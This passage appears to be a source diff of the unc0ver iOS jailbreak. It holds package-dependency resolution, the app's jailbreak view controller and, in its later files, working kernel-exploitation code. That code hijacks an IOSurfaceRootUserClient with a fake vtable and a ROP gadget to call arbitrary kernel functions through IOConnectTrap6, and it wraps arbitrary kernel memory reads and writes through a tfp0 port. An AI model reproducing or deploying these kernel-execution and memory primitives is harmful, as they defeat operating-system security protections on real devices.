NSDictionary *provided = parseDependsOrProvides(provide);
|
||||
if ([provided[@"name"] isEqualToString:match]) {
|
||||
if (ver[@"op"]) {
|
||||
if (provided[@"op"] && [provided[@"op"] isEqualToString:@"="]) {
|
||||
compareDpkgVersion(provided[@"ver"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
}
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
}
|
||||
if (resolved && ![queue containsObject:pkg]) {
|
||||
[queue addObject:pkg];
|
||||
if (resolveDepsForPkgWithQueue(pkg, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:pkg];
|
||||
} else {
|
||||
[queue removeObject:pkg];
|
||||
[queue addObject:pkg];
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (resolved)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
*stop = resolved;
|
||||
}];
|
||||
if (!resolved) {
|
||||
LOG("Unable to resolve dep: %@ for %@", dep, pkg);
|
||||
return nil;
|
||||
}
|
||||
}
|
||||
if (![queue containsObject:pkg])
|
||||
[queue addObject:pkg];
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
|
||||
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
|
||||
}
|
||||
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
|
||||
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
|
||||
LOG("Found no pkgs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
NSMutableArray *debsForPkg = [debsForPkgs(pkgsForPkg) mutableCopy];
|
||||
if (debsForPkg == nil) {
|
||||
LOG("Found no debs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
if (installed != nil) {
|
||||
[debsForPkg removeObjectsInArray:installed];
|
||||
}
|
||||
if (debsForPkg.count < 1) {
|
||||
// Already installed all these
|
||||
return YES;
|
||||
}
|
||||
if (!extractDebs(debsForPkg)) {
|
||||
LOG("Failed to extract debs for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
[installed addObjectsFromArray:debsForPkg];
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSDictionary *getPkgs(void) {
|
||||
static NSDictionary *pkgs = nil;
|
||||
static dispatch_once_t token;
|
||||
dispatch_once(&token, ^{
|
||||
NSMutableDictionary *mpkgs = [NSMutableDictionary new];
|
||||
NSString *pkgs_path = pathForResource(@"apt/Packages");
|
||||
if (pkgs_path == nil) {
|
||||
return;
|
||||
}
|
||||
|
||||
FILE *pkgs_file = fopen(pkgs_path.UTF8String, "r");
|
||||
if (pkgs_file == NULL) {
|
||||
return;
|
||||
}
|
||||
char *line = NULL;
|
||||
size_t linelen = 0;
|
||||
NSString *pkg_id = nil;
|
||||
while (getline(&line, &linelen, pkgs_file) != -1) {
|
||||
char *newline = strchr(line, '\n');
|
||||
if (newline) {
|
||||
*newline = '\0';
|
||||
}
|
||||
char *val = strchr(line, ':');
|
||||
if (val == NULL) {
|
||||
pkg_id = nil;
|
||||
continue;
|
||||
}
|
||||
char *field = line;
|
||||
field[val - line] = '\0';
|
||||
do {
|
||||
val++;
|
||||
} while (*val == ' ');
|
||||
if (strcmp(field, "Package") == 0) {
|
||||
pkg_id = @(val);
|
||||
mpkgs[pkg_id] = [NSMutableDictionary new];
|
||||
} else {
|
||||
if (![mpkgs[pkg_id] isKindOfClass:[NSMutableDictionary class]]) {
|
||||
LOG("Error reading Packages, Package: must come before values");
|
||||
fclose(pkgs_file);
|
||||
return;
|
||||
}
|
||||
// LOG(@"pkgs[%@][%s] = %s\n", pkg_id, field, val);
|
||||
if (strcmp(field, "Depends") == 0 ||
|
||||
strcmp(field, "Pre-Depends") == 0 ||
|
||||
strcmp(field, "Conflicts") == 0 ||
|
||||
strcmp(field, "Provides") == 0
|
||||
) {
|
||||
mpkgs[pkg_id][@(field)] = [@(val) componentsSeparatedByString:@", "];
|
||||
} else {
|
||||
mpkgs[pkg_id][@(field)] = @(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
SafeFreeNULL(line);
|
||||
fclose(pkgs_file);
|
||||
|
||||
mpkgs[@"firmware"] = @{
|
||||
@"Version": [[UIDevice currentDevice] systemVersion],
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
mpkgs[@"firmware-sbin"] = @{
|
||||
@"Version": @"0-1",
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
|
||||
pkgs = [mpkgs copy];
|
||||
});
|
||||
return pkgs;
|
||||
}
|
||||
|
||||
NSString *debForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
NSString *file = pkgs[pkg][@"Filename"];
|
||||
if (file == nil) {
|
||||
LOG(@"file == nil");
|
||||
return nil;
|
||||
}
|
||||
if ([file isEqualToString:@"virtual"]) {
|
||||
return @"virtual";
|
||||
}
|
||||
|
||||
return pathForResource([@"apt" stringByAppendingPathComponent:file]);
|
||||
}
|
||||
|
||||
NSString *versionOfPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (pkgs[pkg])
|
||||
return pkgs[pkg][@"Version"];
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs) {
|
||||
NSMutableArray *paths = [NSMutableArray new];
|
||||
for (NSString* pkg in pkgs) {
|
||||
NSString *path = debForPkg(pkg);
|
||||
if (!path) {
|
||||
LOG("Unable to resolve %@ to a deb", pkg);
|
||||
return nil;
|
||||
}
|
||||
if (![path isEqualToString:@"virtual"])
|
||||
[paths addObject:path];
|
||||
}
|
||||
return [paths copy];
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
//
|
||||
// JailbreakViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import <UIProgressHUD.h>
|
||||
#import "common.h"
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
int saved_errno = errno; \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) { \
|
||||
if ([[JailbreakViewController sharedController] canExit]) {\
|
||||
exit(EXIT_FAILURE); \
|
||||
} else { \
|
||||
return; \
|
||||
} \
|
||||
errno = saved_errno; \
|
||||
} \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define notice(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
#define status(msg, btnenbld, tbenbld) do { \
|
||||
LOG("Status: %@", msg); \
|
||||
dispatch_async(dispatch_get_main_queue(), ^{ \
|
||||
[UIView performWithoutAnimation:^{ \
|
||||
[[[JailbreakViewController sharedController] goButton] setEnabled:btnenbld]; \
|
||||
[[[[JailbreakViewController sharedController] tabBarController] tabBar] setUserInteractionEnabled:tbenbld]; \
|
||||
[[[JailbreakViewController sharedController] goButton] setTitle:msg forState: btnenbld ? UIControlStateNormal : UIControlStateDisabled]; \
|
||||
[[[JailbreakViewController sharedController] goButton] layoutIfNeeded]; \
|
||||
}]; \
|
||||
}); \
|
||||
} while (false)
|
||||
|
||||
@interface JailbreakViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextView *outputView;
|
||||
@property (readonly) JailbreakViewController *sharedController;
|
||||
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *goButtonSpacing;
|
||||
@property (assign) BOOL canExit;
|
||||
|
||||
double uptime(void);
|
||||
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(JailbreakViewController*)sharedController;
|
||||
- (void)appendTextToOutput:(NSString*)text;
|
||||
|
||||
@end
|
||||
|
||||
static inline UIProgressHUD *addProgressHUD() {
|
||||
__block UIProgressHUD *hud = nil;
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
hud = [[UIProgressHUD alloc] init];
|
||||
[hud setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
UIView *view = [[JailbreakViewController sharedController] view];
|
||||
[hud showInView:view];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
return hud;
|
||||
}
|
||||
|
||||
static inline void removeProgressHUD(UIProgressHUD *hud) {
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud hide];
|
||||
[hud done];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void updateProgressHUD(UIProgressHUD *hud, NSString *msg) {
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud setText:msg];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlertWithCancel(NSString *title, NSString *message, Boolean wait, Boolean destructive, NSString *cancel) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
JailbreakViewController *controller = [JailbreakViewController sharedController];
|
||||
[controller dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = YES;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
if (cancel) {
|
||||
UIAlertAction *abort = [UIAlertAction actionWithTitle:cancel style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = NO;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:abort];
|
||||
[alertController setPreferredAction:abort];
|
||||
}
|
||||
[controller presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
__block bool outputIsHidden;
|
||||
dispatch_block_t checkOutput = ^{
|
||||
outputIsHidden = [[[JailbreakViewController sharedController] outputView] isHidden];
|
||||
};
|
||||
|
||||
if ([[NSThread currentThread] isMainThread]) {
|
||||
checkOutput();
|
||||
} else {
|
||||
dispatch_sync(dispatch_get_main_queue(), checkOutput);
|
||||
}
|
||||
showAlertWithCancel(title, message, wait, destructive, outputIsHidden?nil:@"View Log");
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
//
|
||||
// JailbreakViewController.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <common.h>
|
||||
#include <sys/time.h>
|
||||
#import "JailbreakViewController.h"
|
||||
#import "SettingsTableViewController.h"
|
||||
#import "CreditsTableViewController.h"
|
||||
#include "jailbreak.h"
|
||||
#include "prefs.h"
|
||||
#include "utils.h"
|
||||
|
||||
@interface JailbreakViewController ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation JailbreakViewController
|
||||
static JailbreakViewController *sharedController = nil;
|
||||
static NSMutableString *output = nil;
|
||||
static NSString *bundledResources = nil;
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender
|
||||
{
|
||||
status(localize(@"Jailbreak"), false, false);
|
||||
auto const block = ^(void) {
|
||||
_assert(bundledResources != nil, localize(@"Bundled Resources version missing."), true);
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
return;
|
||||
}
|
||||
jailbreak();
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (void)viewWillAppear:(BOOL)animated {
|
||||
[super viewWillAppear:animated];
|
||||
auto prefs = copy_prefs();
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
} else if (prefs->restore_rootfs) {
|
||||
status(localize(@"Restore RootFS"), true, true);
|
||||
} else if (jailbreakEnabled()) {
|
||||
status(localize(@"Re-Jailbreak"), true, true);
|
||||
} else {
|
||||
status(localize(@"Jailbreak"), true, true);
|
||||
}
|
||||
release_prefs(&prefs);
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
_canExit = YES;
|
||||
// Do any additional setup after loading the view, typically from a nib.
|
||||
auto prefs = copy_prefs();
|
||||
if (prefs->hide_log_window) {
|
||||
_outputView.hidden = YES;
|
||||
_outputView = nil;
|
||||
_goButtonSpacing.constant += 80;
|
||||
}
|
||||
release_prefs(&prefs);
|
||||
sharedController = self;
|
||||
bundledResources = bundledResourcesVersion();
|
||||
LOG("unc0ver Version: %@", appVersion());
|
||||
printOSDetails();
|
||||
LOG("Bundled Resources Version: %@", bundledResources);
|
||||
if (bundledResources == nil) {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
showAlert(localize(@"Error"), localize(@"Bundled Resources version is missing. This build is invalid."), false, false);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
}
|
||||
|
||||
- (UIStatusBarStyle)preferredStatusBarStyle {
|
||||
return UIStatusBarStyleDefault;
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnPwn:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Pwn20wnd"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnDennis:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"DennisBednarz"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnSamB:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"sbingner"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnSamG:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://reddit.com/u/Samg_is_a_Ninja"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
// This intentionally returns nil if called before it's been created by a proper init
|
||||
+(JailbreakViewController *)sharedController {
|
||||
return sharedController;
|
||||
}
|
||||
|
||||
-(void)updateOutputView {
|
||||
[self updateOutputViewFromQueue:@NO];
|
||||
}
|
||||
|
||||
-(void)updateOutputViewFromQueue:(NSNumber*)fromQueue {
|
||||
static BOOL updateQueued = NO;
|
||||
static struct timeval last = {0,0};
|
||||
static dispatch_queue_t updateQueue;
|
||||
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
updateQueue = dispatch_queue_create("updateView", NULL);
|
||||
});
|
||||
|
||||
dispatch_async(updateQueue, ^{
|
||||
struct timeval now;
|
||||
|
||||
if (fromQueue.boolValue) {
|
||||
updateQueued = NO;
|
||||
}
|
||||
|
||||
if (updateQueued) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (gettimeofday(&now, NULL)) {
|
||||
LOG("gettimeofday failed");
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t elapsed = (now.tv_sec - last.tv_sec) * 1000000 + now.tv_usec - last.tv_usec;
|
||||
// 30 FPS
|
||||
if (elapsed > 1000000/30) {
|
||||
updateQueued = NO;
|
||||
gettimeofday(&last, NULL);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
self.outputView.text = output;
|
||||
[self.outputView scrollRangeToVisible:NSMakeRange(self.outputView.text.length, 0)];
|
||||
});
|
||||
} else {
|
||||
NSTimeInterval waitTime = ((1000000/30) - elapsed) / 1000000.0;
|
||||
updateQueued = YES;
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[self performSelector:@selector(updateOutputViewFromQueue:) withObject:@YES afterDelay:waitTime];
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
-(void)appendTextToOutput:(NSString *)text {
|
||||
if (_outputView == nil) {
|
||||
return;
|
||||
}
|
||||
static NSRegularExpression *remove = nil;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
remove = [NSRegularExpression regularExpressionWithPattern:@"^\\d{4}-\\d{2}-\\d{2}\\s\\d{2}:\\d{2}:\\d{2}\\.\\d+[-\\d\\s]+\\S+\\[\\d+:\\d+\\]\\s+"
|
||||
options:NSRegularExpressionAnchorsMatchLines error:nil];
|
||||
output = [NSMutableString new];
|
||||
});
|
||||
|
||||
text = [remove stringByReplacingMatchesInString:text options:0 range:NSMakeRange(0, text.length) withTemplate:@""];
|
||||
|
||||
@synchronized (output) {
|
||||
[output appendString:text];
|
||||
}
|
||||
[self updateOutputView];
|
||||
}
|
||||
|
||||
- (id)initWithCoder:(NSCoder *)aDecoder {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super initWithCoder:aDecoder];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
- (id)init {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super init];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,6 @@
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
bool init_kexec(void);
|
||||
void term_kexec(void);
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6);
|
||||
@@ -0,0 +1,145 @@
|
||||
#include "KernelExecution.h"
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kernel_call.h"
|
||||
#include <common.h>
|
||||
#include <iokit.h>
|
||||
#include <pthread.h>
|
||||
#import <patchfinder64.h>
|
||||
#include "parameters.h"
|
||||
#include "kc_parameters.h"
|
||||
#include "kernel_memory.h"
|
||||
|
||||
#if !__arm64e__
|
||||
static mach_port_t prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_t user_client;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
LOG("unable to find service");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get user client connection");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return user_client;
|
||||
}
|
||||
|
||||
static mach_port_t user_client;
|
||||
static kptr_t IOSurfaceRootUserClient_port;
|
||||
static kptr_t IOSurfaceRootUserClient_addr;
|
||||
static kptr_t fake_vtable;
|
||||
static kptr_t fake_client;
|
||||
static const int fake_kalloc_size = 0x1000;
|
||||
#endif
|
||||
static pthread_mutex_t kexec_lock;
|
||||
|
||||
bool init_kexec()
|
||||
{
|
||||
#if __arm64e__
|
||||
if (!parameters_init()) return false;
|
||||
kernel_task_port = tfp0;
|
||||
if (!MACH_PORT_VALID(kernel_task_port)) return false;
|
||||
current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
if (!KERN_POINTER_VALID(current_task)) return false;
|
||||
kernel_task = ReadKernel64(getoffset(kernel_task));
|
||||
if (!KERN_POINTER_VALID(kernel_task)) return false;
|
||||
if (!kernel_call_init()) return false;
|
||||
#else
|
||||
user_client = prepare_user_client();
|
||||
if (!MACH_PORT_VALID(user_client)) return false;
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
|
||||
|
||||
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;
|
||||
|
||||
kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;
|
||||
|
||||
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
|
||||
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
|
||||
|
||||
// Create the vtable in the kernel memory, then copy the existing vtable into there
|
||||
fake_vtable = kmem_alloc(fake_kalloc_size);
|
||||
if (!KERN_POINTER_VALID(fake_vtable)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
|
||||
}
|
||||
|
||||
// Create the fake user client
|
||||
fake_client = kmem_alloc(fake_kalloc_size);
|
||||
if (!KERN_POINTER_VALID(fake_client)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
|
||||
}
|
||||
|
||||
// Write our fake vtable into the fake user client
|
||||
WriteKernel64(fake_client, fake_vtable);
|
||||
|
||||
// Replace the user client with ours
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
|
||||
|
||||
// Now the userclient port we have will look into our fake user client rather than the old one
|
||||
|
||||
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
|
||||
WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));
|
||||
|
||||
#endif
|
||||
pthread_mutex_init(&kexec_lock, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
void term_kexec()
|
||||
{
|
||||
#if __arm64e__
|
||||
kernel_call_deinit();
|
||||
#else
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
kmem_free(fake_vtable, fake_kalloc_size);
|
||||
kmem_free(fake_client, fake_kalloc_size);
|
||||
IOServiceClose(user_client);
|
||||
#endif
|
||||
pthread_mutex_destroy(&kexec_lock);
|
||||
}
|
||||
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
|
||||
{
|
||||
kptr_t returnval = 0;
|
||||
pthread_mutex_lock(&kexec_lock);
|
||||
#if __arm64e__
|
||||
returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
|
||||
#else
|
||||
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
|
||||
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
|
||||
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
|
||||
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
|
||||
// through like normal.
|
||||
|
||||
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
|
||||
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
|
||||
// (i'm not actually sure if the switch back is necessary but meh)
|
||||
|
||||
kptr_t offx20 = ReadKernel64(fake_client + 0x40);
|
||||
kptr_t offx28 = ReadKernel64(fake_client + 0x48);
|
||||
WriteKernel64(fake_client + 0x40, x0);
|
||||
WriteKernel64(fake_client + 0x48, ptr);
|
||||
returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
|
||||
WriteKernel64(fake_client + 0x40, offx20);
|
||||
WriteKernel64(fake_client + 0x48, offx28);
|
||||
#endif
|
||||
pthread_mutex_unlock(&kexec_lock);
|
||||
return returnval;
|
||||
}
|
||||
@@ -0,0 +1,287 @@
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
|
||||
size_t kreads = 0;
|
||||
size_t kwrites = 0;
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port)
|
||||
{
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port)
|
||||
{
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
||||
{
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
bool have_kmem_read()
|
||||
{
|
||||
return MACH_PORT_VALID(kmem_read_port) || MACH_PORT_VALID(tfp0);
|
||||
}
|
||||
|
||||
bool have_kmem_write()
|
||||
{
|
||||
return MACH_PORT_VALID(tfp0);
|
||||
}
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
mach_vm_size_t sz, chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_read_overwrite(tfp0,
|
||||
where + offset,
|
||||
chunk,
|
||||
(mach_vm_address_t)p + offset,
|
||||
&sz);
|
||||
if (rv || sz == 0) {
|
||||
LOG("error reading kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
kreads += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
size_t chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_write(tfp0,
|
||||
where + offset,
|
||||
(mach_vm_offset_t)p + offset,
|
||||
(mach_msg_type_number_t)chunk);
|
||||
if (rv) {
|
||||
LOG("error writing kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
kwrites += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
